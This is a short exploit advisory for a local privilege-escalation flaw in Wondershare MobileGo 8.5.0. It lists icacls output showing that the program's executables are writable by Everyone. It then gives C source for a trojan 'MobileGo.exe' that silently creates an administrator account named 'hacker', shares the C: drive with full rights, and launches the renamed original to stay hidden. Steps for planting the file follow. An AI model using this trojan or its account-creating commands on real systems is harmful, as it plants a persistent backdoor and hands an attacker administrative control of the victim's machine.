MobileGo version 8.5.0 suffers from an insecure file permission vulnerability.
01b469607a40a0f08aba37d07b840883# Exploit Title: MobileGo 8.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-15
# Vendor Homepage : https://www.wondershare.net/
# Software Link: https://www.wondershare.net/mobilego/
# Tested on OS: Windows 7
# Proof of Concept (PoC):
==========================
C:\Program Files\Wondershare\MobileGo>icacls *.exe
adb.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
APKInstaller.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
BsSndRpt.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
DriverInstall.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
fastboot.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
FetchDriver.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
MGNotification.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
MobileGo.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
MobileGoService.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
unins000.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
URLReqService.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
WAFSetup.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
WsConverter.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
WsMediaInfo.exe Everyone:(I)(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
#Exploit code(s):
=================
1) Compile below 'C' code name it as "MobileGo.exe"
#include<windows.h>
int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files\\Wondershare\\MobileGo\\~MobileGo.exe",0);
return 0;
}
2) Rename original "MobileGo.exe" to "~MobileGo.exe"
3) Place our malicious "MobileGo.exe" in the MobileGo directory
4) Disconnect and wait for a more privileged user to connect and use MobileGo IDE.
Privilege Successful Escalation